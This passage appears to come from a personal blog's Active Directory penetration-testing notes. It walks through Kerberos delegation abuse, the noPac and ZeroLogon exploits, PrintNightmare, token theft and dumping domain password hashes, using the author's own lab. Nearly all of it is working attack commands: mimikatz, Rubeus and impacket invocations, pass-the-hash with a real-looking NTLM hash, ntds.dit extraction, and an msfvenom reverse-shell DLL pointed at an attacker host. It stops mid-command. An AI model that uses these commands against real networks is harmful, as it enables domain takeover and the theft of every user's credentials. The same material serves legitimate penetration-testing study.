suite\u0026rsquo;s getST to request administrator\u0026rsquo;s TGT from the KDC.\n1 python getST.py -dc-ip 192.168.0.110 -spn krbtgt/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123! I failed to reproduce this. It seems the version is too new, which prevents krbtgt from being delegated. I\u0026rsquo;m recording it here anyway. There are all sorts of delegation techniques and many ways to use them; if you run into one, just search for the relevant method.\nI\u0026rsquo;ll use cifs instead.\n1 python getST.py -dc-ip 192.168.0.110 -spn cifs/WindowsServerAD.test.local -impersonate Administrator test.local/svc_sharepoint:Password123! For the ccache, simply use PTC. I covered this on another page, so I\u0026rsquo;ll copy it over here.\n1 2 3 mimikatz.exe privilege::debug kerberos::ptc TGT_Administrator@MAO.COM.ccache 1 2 misc::cmd dir \\\\WindowsServerAD.test.local\\c$ wmiexec\n1 2 3 4 5 6 set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache python C:\\Users\\tony\\AppData\\Local\\Programs\\Python\\Python313\\Scripts\\wmiexec.py test.local/administrator@WindowsServerAD.test.local -k -no-pass export KRB5CCNAME=Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache /usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass support.htb/administrator@dc.support.htb psexec.py -k -no-pass support.htb/administrator@dc.support.htb I did not manage to execute commands and get a shell at this step. The main reason is that the cifs access I currently have does not grant access to the wmi service.\nThe ST ticket we obtained grants administrator access to cifs only—nothing else. It is limited to that service.\nFrom here, I won\u0026rsquo;t follow the author\u0026rsquo;s method. I struck through all those steps. Instead, I\u0026rsquo;ll use cifs directly to get a shell; it has already been imported above.\nDump the hashes of every user and host on the domain controller. This works because it uses smb or cifs privileges to read the domain database.\n1 2 set KRB5CCNAME=Administrator@cifs_WindowsServerAD.test.local@TEST.LOCAL.ccache python secretsdump.py -no-pass -k WindowsServerAD.test.local There are many ways to take over the domain controller from here. PTH will do.\n1 2 3 4 5 mimikatz.exe privilege::debug sekurlsa::pth /user:Administrator /domain:test.local /ntlm:2b2ddd54e1f78fab85e7c662f672f30e /run:cmd.exe PsExec64.exe \\\\192.168.0.110 cmd 1 2 3 # WMI and SMB are also standard PTH shell-access methods; use whichever service is enabled python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110 python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110 win11 is not in the domain, so just specify the IP.\nKali is not in the domain either, and specifying the IP works there too.\nwin10 is in the domain, so specifying the hostname is enough because it uses the domain controller\u0026rsquo;s dns.\nAt this point, creating a golden ticket is no problem at all.\nHere are the original author and reference blog links again; they also cover defensive measures.\nhttps://xz.aliyun.com/t/7217\nhttps://www.freebuf.com/articles/network/290860.html\nExploiting Resource-Based Constrained Delegation 1 2 3 4 # First create the machine account test:123456 Set-ExecutionPolicy Bypass -Scope Process import-module .\\Powermad.ps1 New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString \u0026#34;123456\u0026#34; -AsPlainText -Force) 1 2 3 4 5 # Then configure delegation and look up the SID import-module .\\PowerView.ps1 Get-NetComputer test -Properties objectsid S-1-5-21-3072663084-364016917-1341370565-9602 1 2 3 4 5 6 7 # Modify the msds-allowedtoactonbehalfofotheridentity value for FOREST $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \u0026#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3072663084-364016917-1341370565-9602)\u0026#34; $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer FOREST | Set-DomainObject -Set @{\u0026#39;msds-allowedtoactonbehalfofotheridentity\u0026#39;=$SDBytes} -Verbose # FOREST is the domain controller hostname 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $RawBytes = Get-DomainComputer DC -Properties \u0026#39;msds-allowedtoactonbehalfofotheridentity\u0026#39; | select -expand msds-allowedtoactonbehalfofotheridentity $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 $Descriptor.DiscretionaryAcl BinaryLength : 36 AceQualifier : AccessAllowed IsCallback : False OpaqueLength : 0 AccessMask : 983551 SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-5601 AceType : AccessAllowed AceFlags : None IsInherited : False InheritanceFlags : None PropagationFlags : None AuditFlags : None ","date":"2024-11-24T22:55:00+08:00","permalink":"/p/active-directory-services/","title":"Active Directory Pentesting: Targeting Common Services"},{"content":"I. CVE-2021-42278/CVE-2021-42287 References:\nhttps://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds\nhttps://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45\nhttps://cloud.tencent.com/developer/article/1922502\nIn this article, we\u0026rsquo;ll walk through how these vulnerabilities are exploited and show how FortiEDR can mitigate the attack.\nAffected platforms: Windows Affected users: Any organization with an Active Directory environment Impact: An unprivileged user can escalate privileges to domain administrator Severity: Critical\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 Affected scope CVE-2021-42287： Windows Server 2012 R2 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 (Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation) Windows Server 2012 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation) Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows Server, version 20H2 (Server Core Installation) Windows Server, version 2004 (Server Core installation) Windows Server 2022 (Server Core installation) Windows Server 2022 Windows Server 2019 (Server Core installation) Windows Server 2019 CVE-2021-42278： Windows Server 2012 R2 Windows Server 2012 (Server Core installation) Windows Server 2012 Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation) Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation) Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation) Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2016 (Server Core installation) Windows Server 2016 Windows Server, version 20H2 (Server Core Installation) Windows Server, version 2004 (Server Core installation) Windows Server 2022 (Server Core installation) Windows Server 2019 (Server Core installation) Windows Server 2022 Windows Server 2019 Windows Server 2012 R2 (Server Core installation) Exploitation and Telemetry At a high level, successfully exploiting these vulnerabilities takes the following steps:\nAdd a new computer account to the domain. Rename the new computer account to match the name of an existing domain controller (without the trailing \u0026quot; $ \u0026ldquo;). Request a Kerberos TGT using the updated computer account name. Rename the new computer account again, restoring its original name (or giving it any other name). Request a Kerberos service ticket with the S4U2self extension. The service ticket can then be used to access any service on the domain controller. The ST exploit shown below uses CIFS to obtain a SYSTEM shell.\nCVE-2021-42278 - Invalid Computer Account Names Computer account names in an Active Directory environment are supposed to always end with \u0026ldquo;$\u0026rdquo;, but that rule is not properly enforced. The computer account name is stored in the \u0026ldquo;sAMAccountName\u0026rdquo; attribute. You can inspect and edit this attribute manually with ADSIEdit, as shown in Figure 1.\nOn a vulnerable machine, the account can be renamed to the domain controller\u0026rsquo;s account name. This is the key step in the exploit chain.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 CVE-2021-42278 characteristics: 1. Root cause: - Active Directory allows a machine account\u0026#39;s sAMAccountName to be changed - The trailing $ can be removed from the machine account name - It can even be renamed to the domain controller\u0026#39;s name (without $) 2. Under normal conditions: Machine account: WIN10$ Domain controller account: DC01$ - Machine accounts must end with $ - This is a security restriction 3. Exploitation: - Rename a standard machine account to the domain controller\u0026#39;s name (without $) - Example: rename WIN10$ to DC01 - This causes identity confusion ======================================================================= 1. Normal computer account: hostname: WIN10 sAMAccountName: WIN10$ 2. After exploiting the vulnerability: hostname: WIN10 sAMAccountName: WindowsServerAD # Changed to the domain controller name without $ Service Principal Names\nA service principal name (SPN) identifies an authenticated entity, such as machinename$@domainname. Kerberos uses [SPNs as part of the authentication process for various entities. An SPN is essentially a unique identifier for a service instance,](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.\u0026text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.) and Kerberos authentication uses it to associate a service instance with its service logon account.\nThis creates a problem when you try to rename a computer account to the domain controller\u0026rsquo;s account name, because changing the samAccountName attribute also triggers a corresponding change to the account\u0026rsquo;s SPNs. The change fails because an SPN with that name already exists. To get around this, you can clear the computer\u0026rsquo;s \u0026ldquo;servicePrincipalName\u0026rdquo; attribute. Exploiting this vulnerability therefore also requires permission to edit the \u0026ldquo;servicePrincipalName\u0026rdquo; attribute.\nLet\u0026rsquo;s start setting up the environment.\nLab environment:\nDomain: test.local Domain controller: Windows Server 2022, hostname: WindowsServerAD, IP: 192.168.0.110, user: administrator Domain host: Windows 10, hostname: win10, IP: 192.168.0.104, user: jerry 1 2 3 4 5 6 7 8 9 10 11 12 13 Run the following on the domain-joined host win10 Configure the environment: Use powermad.ps1 to add a machine account Download: https://github.com/Kevin-Robertson/Powermad Direct import causes an error; see https://www.jianshu.com/p/a0a88d3bb787 Set-ExecutionPolicy RemoteSigned Import-Module .\\Powermad.ps1 New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose # If the method above repeatedly reports insufficient privileges, use the following method; it requires credentials for the current domain account python addcomputer.py -computer-name \u0026#39;testuser1\u0026#39; -computer-pass \u0026#39;Password123!\u0026#39; \u0026#39;test.local/jerry:Password123!\u0026#39; -dc-ip 192.168.0.110 The account has now been created. (You can also do this through the ADSI Edit GUI with adsiedit.msc.)\n1 2 3 4 # Clear the SPN Set-ADComputer testuser1 -Clear servicePrincipalName # Set the computer account name to the domain controller\u0026#39;s hostname Set-MachineAccountAttribute -MachineAccount testuser1 -Value \u0026#34;WindowsServerAD\u0026#34; -Attribute samaccountname -Verbose CVE-2021-42287 - Kerberos Key Distribution Center Confusion The Kerberos Key Distribution Center (KDC) is an Active Directory service that handles Kerberos ticket requests. A ticket-granting ticket (TGT) is a special type of ticket that can be used to obtain other tickets. A TGT is used to request an access token for a specific resource or system in the domain from the Ticket Granting Service (TGS). When a service ticket request is sent but the account cannot be found, the KDC automatically looks for the requested account name with a \u0026ldquo;$\u0026rdquo; appended. S4U2self (Service for User to Self) is an extension that lets a service obtain a Kerberos service ticket for itself. The service ticket includes the user\u0026rsquo;s groups, so it can be used in authorization decisions. All of these Active Directory terms, along with full explanations, can be found here.\nThis vulnerability can be triggered if an account obtains a TGT and is then deleted, after which that TGT is used to request a service ticket to itself on behalf of another user (which is essentially S4U2self). The account cannot be found, so the KDC tries looking it up again with a \u0026ldquo;$\u0026rdquo; appended. If a domain controller account with that name exists, the requesting user is granted its service ticket, effectively giving the user domain administrator privileges.\nYou can also create an account yourself here, even from outside the domain, as long as you have permission to create users on the domain controller.\nRequest a TGT:\n1 .\\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local /nowrap Then either delete the account or rename it back to its original name.\nOnce the user has been deleted, during the S4U2self process the KDC:\nFirst looks for the account name without $ If it cannot find it, automatically tries again with $ appended If a domain controller account with the same name exists, grants elevated privileges 1 2 Import-Module .\\Powermad.ps1 Set-MachineAccountAttribute -MachineAccount testuser1 -Value \u0026#34;testuser1$\u0026#34; -Attribute samaccountname -Verbose You can also perform this step with adsiedit.msc.\nRequest an ST for the domain controller:\n1 .\\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64] Here, base64 is the Base64-encoded TGT obtained above.\nWe successfully obtained the ST. Because we used the /ptt parameter, the ticket has already been injected.\nThe original author also pointed out that we obtained LDAP privileges, so we cannot access shared directories.\nGenerate the ST again:\n1 .\\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket: Automated Exploitation - noPac https://github.com/cube0x0/noPac\nYou need to compile it yourself, and the domain host also needs a .NET environment. Here is how to use it:\n1 2 3 4 noPac.exe scan -domain htb.local -user domain_user -pass \u0026#39;Password123!\u0026#39; noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123! noPac.exe -domain htb.local -user domain_user -pass \u0026#39;Password123!\u0026#39; /dc dc02.htb.local /mAccount demo /mPassword Password123! noPac.exe -domain htb.local -user domain_user -pass \u0026#39;Password123!\u0026#39; /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt I\u0026rsquo;ve already compiled it here.\n1 2 # Enter credentials for a domain host to test whether the vulnerability exists noPac.exe scan -domain test.local -user jerry -pass Password123! 1 2 # Create a machine account, then change its computer account name to the domain controller\u0026#39;s hostname noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123! The command-line attempt failed earlier because of insufficient permissions, and the same thing happens here. Impacket\u0026rsquo;s addcomputer.py does work, though.\nThere are two other one-click exploitation methods, but I didn\u0026rsquo;t use them. You could get them working with a few changes if needed. The one-click exploits include a command that creates a user, but creating a user fails for me due to insufficient permissions, so these exploits do not work in my environment either.\nFor the remaining steps, refer to the original author:\nhttps://cloud.tencent.com/developer/article/1922502\nIt mainly covers creating a new domain user after obtaining domain controller administrator privileges, adding that user to Domain Admins, and then taking over the domain controller through the newly created domain account.\nII. PrintNightmare (CVE-2021-34527) Create a malicious DLL:\n1 msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll https://github.com/cube0x0/CVE-2021-1675\n1 python3 CVE-2021-1675.py My.local/bob:Pass123@192.168.0.251\u0026#39;\\\\192.168.0.106\\\\public\\\\rev.dll\u0026#39; This is mainly used for privilege escalation.\n","date":"2024-11-23T11:08:00+08:00","permalink":"/p/active-directory-privilege-escalation/","title":"Active Directory Pentesting: Privilege Escalation"},{"content":"1. Garbled Output in wmiexec 1 2 3 4 5 # Run this on the target host first chcp # Assume it returns 936 # Then run wmiexec with the encoding option python wmiexec.py -codec cp936 -hashes :2b2ddd54e1f78fab85e7c662f672f30e MAIN/administrator@192.168.0.111 2. Unable to Install VMware Tools I ran into this while setting up an Active Directory environment. My vulnerable Windows Server 2012 R2 machine wouldn\u0026rsquo;t install VMware Tools, which made transferring files and copying and pasting a real pain. The Chinese tutorials I found online all had problems.\nhttps://netwoven.com/cloud-infrastructure-management/windows-server-2012-r2-error-required-kb2919355/\nThis article explains what to do. Things will go wrong if you don\u0026rsquo;t follow the steps in order, though there are still a few minor issues. The solution is below.\nWhat you need to download\n#Windows8.1-KB2919442-x64 is available at this URL; download this one too\nhttps://www.microsoft.com/en-us/download/details.aspx?id=42162\nWindows patch download: Windows8.1-KB2919355-x64 is available at https://www.microsoft.com/en-us/download/details.aspx?id=42335. Download all of the files.\nRun Windows Update and install everything, including optional updates Run clearcompressionflag.exe (downloaded with the servicing stack fix). It runs in the background, so wait a minute before installing the fix Manually download and install the patches in this order Windows8.1-KB2932046-x64 Windows8.1-KB2934018-x64 Windows8.1-KB2937592-x64 Windows8.1-KB2938439-x64 Windows8.1-KB2959977-x64 Windows8.1-KB2919442-x64 Windows8.1-KB2919355-x64 Restart whenever prompted after installing them.\nThen install VMware Tools.\nhttps://packages.vmware.com/tools/releases/\nPick whichever version you like and download its ISO file, like this one.\nAdd a new CD/DVD drive and mount the ISO. You\u0026rsquo;ll then see a drive like this under Computer.\nOpen it.\nRun the installer, keep clicking Next, and you\u0026rsquo;re done.\n","date":"2024-11-20T11:34:00+08:00","permalink":"/p/active-directory-tool-troubleshooting/","title":"Active Directory Pentesting: Troubleshooting Tool Issues"},{"content":"References\nhttps://0range-x.github.io/2021/11/22/CVE-2020-1472\nhttps://cloud.tencent.com/developer/article/1727748\nhttps://blog.csdn.net/Captain_RB/article/details/120643838\n1. Token Theft I. What Tokens Do\nA token is a temporary secret key used by the system. It is equivalent to an account and password, and determines whether a request is allowed and which user made it. It lets you access network and system resources without providing a password or other credentials. These tokens remain on the system until it is restarted.\nThe defining feature of a token is that it is random and unpredictable, so neither an attacker nor software can guess it. By impersonating a token, you can act as another user on the network and perform various operations. When an attacker needs domain administrator privileges, they therefore need to impersonate a domain administrator\u0026rsquo;s token.\nII. Types of Tokens\nAccess Token: a system object representing the subject of an access-control operation.\nSession Token: the unique identity identifier in an interactive session.\nSecurity Token: also known as an authentication token or hardware token, this is a physical device used to verify identity on a computer, such as a USB security key.\nWindows AccessToken has two types:\nDelegation Token: an authorization token that supports interactive session logons, such as a local user logging on directly or accessing the system through Remote Desktop.\nImpersonation Token: an impersonation token used for non-interactive sessions, such as accessing a shared folder with net use.\nNote: Both types of token are cleared only after a system restart. When a user with a Delegation token logs off, that Token becomes an Impersonation token and remains valid. Another way to think about it is that the system resources a process or thread can access depend on the privileges of its current token.\nAt first, I didn\u0026rsquo;t understand why a token was necessary when I already had domain admin privileges. I found this explanation very helpful.\nThe privileges we get through an exploit, EternalBlue, or similar methods are System privileges. If mimikatz and hashdump cannot recover the administrator user\u0026rsquo;s password, our only option is to steal a token and step down into the administrator user\u0026rsquo;s context. That gives us the administrator user\u0026rsquo;s shell, from which we can start certain services as that user (some services can only be started by the administrator user).\nThe important point is that System is already the highest privilege level, but some services still need to be started by administrator. We need the administrator shell, yet we do not have the password, so we use a token to step down. That is one scenario where this comes in handy.\nYou can also assume that the target server probably will not be restarted, since tokens are cleared only on restart.\nI haven\u0026rsquo;t managed to download and find the program online yet, so I\u0026rsquo;ll list the commands first. Other tools can replace it as well.\nMethod 1: incognito.exe\nCommon commands:\nList tokens: incognito.exe list_tokens -u\nBecause we do not have system privileges here, the listed tokens are very limited. Let\u0026rsquo;s switch to system privileges and take another look.\nSteal a token: incognito.exe execute -c \u0026quot;SUN\\administrator\u0026quot; cmd.exe\nincognito.exe execute [options] \u0026lt;token\u0026gt; \u0026lt;command\u0026gt;\nMethod 2\nhttps://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1\nIts principles and features are similar to incognito, and it can actually elevate or lower privileges.\nList tokens: Invoke-TokenManipulation -Enumerate\nElevate to system: Invoke-TokenManipulation -CreateProcess \u0026quot;cmd.exe\u0026quot; -Username \u0026quot;nt authority\\system\u0026quot;\nCopy a process token: Invoke-TokenManipulation -CreateProcess \u0026quot;cmd.exe\u0026quot; -ProcessId 500\nCopy a thread token: Invoke-TokenManipulation -CreateProcess \u0026quot;cmd.exe\u0026quot; -ThreadId 500\nMethod 3\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Open a command prompt with SYSTEM privileges to simulate top-down access PsExec.exe -s -i cmd.exe # View the current token token::whoami # Elevate privileges token::elevate /domainadmin # Elevate to domain administrator token::elevate /admin # Elevate to local administrator token::elevate # Elevate to SYSTEM by default # Restore the token token::revert Restore the token privilege::debug token::elevate 2. LaZagne.exe This one is incredibly powerful. Unlike most tools, it is not mainly about getting an administrator password; it is more about building a profile of a particular person.\nTypes of passwords it can retrieve:\nPasswords saved by browsers Saved WiFi passwords Windows credentials Email clients Development tool configurations 1 2 3 lazagne.exe all # Retrieve all passwords lazagne.exe browsers # Retrieve browser passwords only lazagne.exe wifi # Retrieve Wi-Fi passwords only 3. Shadow Copies (Retrieving All Hashes from a Domain Controller) So what exactly is ntds.dit?\nNtds.dit is a binary file found on domain controllers in a domain environment. It is the primary Active Directory database, located at %SystemRoot%\\ntds\\ntds.dit on the domain controller. Active Directory keeps this file open, so it cannot normally be read. Ntds.dit contains information including, but not limited to, domain users, groups, group memberships, credentials, and GPP. It holds the password hashes of every user in the domain. For additional protection, those hashes are encrypted with a key stored in the SYSTEM registry hive.\nIn a non-domain, or workgroup, environment, user passwords and similar information are stored in the SAM file. Decrypting either a SAM file or Ntds.dit also requires a System file. Like the SAM file, Ntds.dit is locked by Windows by default. These are also files we often need to export when using mimikatz.\nplain ntds.dit file location: C:\\Windows\\NTDS\\NTDS.dit system file location:C:\\Windows\\System32\\config\\SYSTEM sam file location:C:\\Windows\\System32\\config\\SAM There are several ways to export this file.\nmimikatz-dcsync Prerequisite: high privileges\nMimikatz has a feature called dcsync, which can use the Directory Replication Service (DRS) to extract password hashes from the NTDS.DIT file.\nDCSync is a feature added to mimikatz in 2015. It uses this principle to impersonate one domain controller and send a data synchronization request to another through the GetNCChanges interface of the Directory Replication Service (DRS). This can be used to export the hashes of every user in the domain.\nWhat DCSync really does:\nUses the DRS replication protocol Requests the target data directly Does not copy the NTDS.dit file 1 2 3 4 5 6 mimikatz.exe lsadump::dcsync /domain:test.local /all /csv // Use DCSync to retrieve hashes for all users in the test domain mimikatz lsadump::dcsync /domain:test.local /user:admin\t// Retrieve details for a single user mimikatz lsadump::lsa /inject lsadump::sam # SAM of the current system lsadump::sam /system:system.hiv /sam:sam.hiv # Specify files vssadmin Shadow Copies vssadmin is a command-line management tool for the Volume Shadow Copy Service on Windows. It can create and delete shadow copies, list shadow-copy information, display all installed shadow-copy writers and providers, and change the amount of storage allocated to shadow copies.\nSupported systems: Windows 10, Windows 8.1, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2, Windows Server 2008\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 vssadmin create shadow /for=C:\t// Create a shadow copy of drive C: copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\windows\\ntds\\ntds.dit C:\\ntds.dit\t// Copy ntds.dit from the created shadow copy to drive C: copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM c:\\sam.hiv\t// Copy sam.hiv from the created shadow copy to drive C: system.hiv is also required copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\system.hiv vssadmin delete shadows /for=c: /quiet Decrypt ntds.dit python D:\\python3.9\\Scripts\\secretsdump.py -ntds ntds.dit -system system.hiv LOCAL Decrypt SAM python D:\\python3.9\\Scripts\\secretsdump.py -sam sam.hiv -system system.hiv LOCAL If an error occurs, you will probably need to run pip install cryptography==41.0.2 Note that the number in HarddiskVolumeShadowCopy1 changes; use the actual shadow-copy path. Mimikatz primarily retrieves credentials for logged-on users SAM retrieves hashes for local accounts NTDS.dit retrieves hashes for the entire domain ntdsutil.exe Ntdsutil.exe is a command-line tool that provides management facilities for Active Directory. It is installed on domain controllers by default and can be operated directly on a domain controller. It can also be used remotely against a domain controller from another domain-joined machine, though administrator privileges are required. With ntdsutil.exe, you can maintain and manage the Active Directory database, control single-master operations, create application directory partitions, and remove metadata left behind by a domain controller that was successfully demoted with the now-unused Active Directory Installation Wizard (DCPromo.exe), among other tasks.\n1 ntdsutil snapshot \u0026#34;activate instance ntds\u0026#34; create quit quit // First create a snapshot containing all Windows files; Windows locking does not affect copying from it 1 2 ntdsutil snapshot \u0026#34;mount {ID}\u0026#34; quit quit\t// Mount the snapshot just created \u0026gt;ntdsutil snapshot \u0026#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}\u0026#34; quit quit 1 2 3 copy C:\\$SNAP_202411192306_VOLUMEC$\\windows\\ntds\\ntds.dit c:\\ntds.dit copy C:\\$SNAP_202411192306_VOLUMEC$\\windows\\System32\\config\\SYSTEM c:\\system.hiv copy C:\\$SNAP_202411192306_VOLUMEC$\\windows\\System32\\config\\SAM c:\\sam.hiv //Copy the three files from the snapshot to the C drive.\n//Delete the snapshot we just created.\n1 ntdsutil snapshot \u0026#34;mount {5d42befe-0029-4f76-b6d9-f87329ce8119}\u0026#34; \u0026#34;delete {5d42befe-0029-4f76-b6d9-f87329ce8119}\u0026#34; quit quit Besides using the approach above to retrieve ntds.dit, you can also use Ntdsutil.exe to create an Install From Media set (IFM) and extract the NTDS.dit file. When ntdsutil creates an IFM set, it automatically generates and mounts a snapshot, then copies ntds.dit and the computer\u0026rsquo;s SAM and SYSTEM files into the target folder. We can take advantage of this process to obtain the NTDS.dit file. Administrator privileges are required.\nNtdsutil is a command-line utility for working with Active Directory locally, and it enables DCPromo to create IFM sets. IFM is used with DCPromo to \u0026ldquo;install from media,\u0026rdquo; so the server being promoted does not need to replicate domain data over the network from another DC.\nWhen an IFM is created, a VSS snapshot is automatically taken and mounted, and the NTDS.DIT file and related data are copied into the target folder.\nRun the following commands on the domain controller:\n1 2 3 4 5 6 ntdsutil \u0026#34;activate instance ntds\u0026#34; Ifm \u0026#34;create full C:\\ntdsutil\u0026#34; Quit quit\t// Generate files ntdsutil \u0026#34;ac i ntds\u0026#34; \u0026#34;ifm\u0026#34; \u0026#34;create full c:\\ntdsutil\u0026#34; q q\t// Short form Use SYSTEM directly to decrypt it secretsdump.py -ntds \u0026#34;Active Directory/ntds.dit\u0026#34; -system registry/SYSTEM LOCAL secretsdump.py -sam sam.save -system system.save -security security.save LOCAL Exploiting ZeroLogon (CVE-2020-1472) Affected system versions: all versions after Win2008\n1 2 3 4 5 6 7 8 9 10 11 12 13 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation) Requirements for exploitation:\n1 An attacker only needs the domain controller hostname and IP address plus network access to obtain domain administrator privileges without credentials, even from outside the domain. Note: A domain controller\u0026rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller\u0026rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. If the credential stored for the domain controller in the domain no longer matches the credential in its local registry/lsass, the domain controller will lose its domain trust and Kerberos authentication will stop working. It therefore needs to be restored as soon as possible.\nStep 1: Verify That the Vulnerability Exists How to obtain the account\nMethod 1: Mimikatz\nDownload a recent version that supports exploiting ZeroLogon: https://github.com/gentilkiwi/mimikatz\n1 mimikatz.exe \u0026#34;lsadump::zerologon /target:192.168.0.111 /account:WIN-RITHFS5KHEN$\u0026#34; exit Method 2: Tool from https://github.com/SecuraBV/CVE-2020-1472\n1 python zerologon_tester.py WIN-RITHFS5KHEN 192.168.0.111 Step 2: Empty the Domain Controller HASH Note: A domain controller\u0026rsquo;s machine-account HASH is stored in the registry and loaded into lsass when the system starts. When an attack empties the domain controller\u0026rsquo;s HASH, only the password in AD (NTDS.DIT) is changed—not the password in the registry or the one loaded into lsass. This causes the domain controller to lose its domain trust, making Kerberos authentication unavailable, so it must be restored as soon as possible.\nMethod 1: Mimikatz\n1 mimikatz.exe \u0026#34;lsadump::zerologon /target:192.168.0.110 /account:WINDOWSSERVERAD$ /exploit\u0026#34; exit Method 2: Tool from https://github.com/risksense/zerologon\n1 python3 set_empty_pw.py WINDOWSSERVERAD 192.168.0.110 Method 3: Tool from https://github.com/dirkjanm/CVE-2020-1472\n1 python3 cve-2020-1472-exploit.py WINDOWSSERVERAD 192.168.0.110 Step 3: Retrieve the Domain Administrator HASH Method 1: Mimikatz\n1 lsadump::dcsync /domain:new.local /dc:WIN-RITHFS5KHEN /user:administrator /authuser:WIN-RITHFS5KHEN$ /authdomain:main /authpassword:\u0026#34;\u0026#34; /authntlm The result is shown below. The HASH for the domain administrator, MAIN\\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e.\nMethod 2: Impacket\nThe Impacket toolkit is available at https://github.com/SecureAuthCorp/impacket. Use its secretsdump.py tool to retrieve the domain administrator HASH:\n1 2 3 4 5 6 # 31d6cfe0d16ae931b73c59d7e0c089c0 is the hash of an empty value python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 MAIN/WIN-RITHFS5KHEN$@192.168.0.111 OR python3 secretsdump.py MAIN/DC01$@192.168.43.100 -just-dc -no-pass python3 /usr/share/doc/python3-impacket/examples/secretsdump.py \u0026#39;secura.yzx/DC01$@192.168.131.97\u0026#39; -just-dc -no-pass The result is shown below. The HASH for the domain administrator, MAIN\\Administrator, is 2b2ddd54e1f78fab85e7c662f672f30e. At this point, note that the HASH for the domain controller WIN-RITHFS5KHEN$ in NTDS.DIT is already the empty value 31d6cfe0d16ae931b73c59d7e0c089c0.\nFor reference, the Administrator hash is 2b2ddd54e1f78fab85e7c662f672f30e.\nStep 4: Restore the Domain Controller HASH (You could skip this step, but that leaves traces behind, and failing to restore it may also cause the domain controller to go down. So we need to restore it.)\nWhen Mimikatz restores the domain controller HASH, it changes both the credential in NTDS.DIT and the credentials in the registry/lsass to (Waza1234/Waza1234/Waza1234). This is not the original value. Although the domain will continue to work, this still leaves traces.\nThe recommended approach is to restore the original HASH. First, retrieve the domain controller\u0026rsquo;s original HASH from the registry data. You can do this with wmiexec.py or psexec.py from the Impacket package. The following example uses wmiexec.py and passes the HASH obtained for the domain administrator in the previous step:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # PTH getshell python wmiexec.py -hashes 